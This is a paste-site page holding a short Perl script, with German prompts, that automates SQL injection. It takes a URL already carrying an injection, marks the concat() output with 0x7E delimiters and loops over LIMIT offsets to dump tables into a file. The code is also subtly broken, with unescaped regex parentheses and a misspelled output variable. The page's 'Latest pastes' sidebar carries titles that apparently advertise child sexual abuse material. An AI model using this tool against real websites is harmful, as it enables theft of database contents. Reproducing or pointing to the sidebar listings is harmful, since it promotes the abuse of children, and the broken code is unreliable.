nopaste | share your clipboard

Undefined

Edit & repaste | raw paste | Request removal

use LWP::Simple;
 
my $counter = 0;
my $limit = 10;
my $website = "";
 
print "Wieviele tables ausgeben? : ";
my $limit = <STDIN>;
print "Bitte Website mit injection eingeben (Systax siehe readme.html) ? : ";
my $website = <STDIN>;
 
                $website =~ s/concat(/concat(0x7E,/;
                $website =~ s/)/,0x7E)/; 
                
open FILE, ">> output.txt" or die $!;
 
while( $counter <= $limit ) {
        if( $counter == 0) {
                $website =~ s/limit+0,1/limit+$counter,1/;
        }
        else {
                my $tausch = $counter-1;
                $website =~ s/limit+$tausch,1/limit+$counter,1/;
        }
        my $stWebsite = get($website);
    my @data = split(/~/, $stWebsite);
    my $ausgabe = @data[1];
    undef @data;
    print "$counter => $ausgaben";
        print FILE "$counter => $ausgaben";
        $counter++;
}
 
system("pause");

Latest pastes

teen videos collection december

1 hours ago

6GB BOCIL UPFILES PACK

11 hours ago

BOCIL PACK 6GB FREE

1 days ago

2 pack and loli

2 days ago

Free cp no ada

2 days ago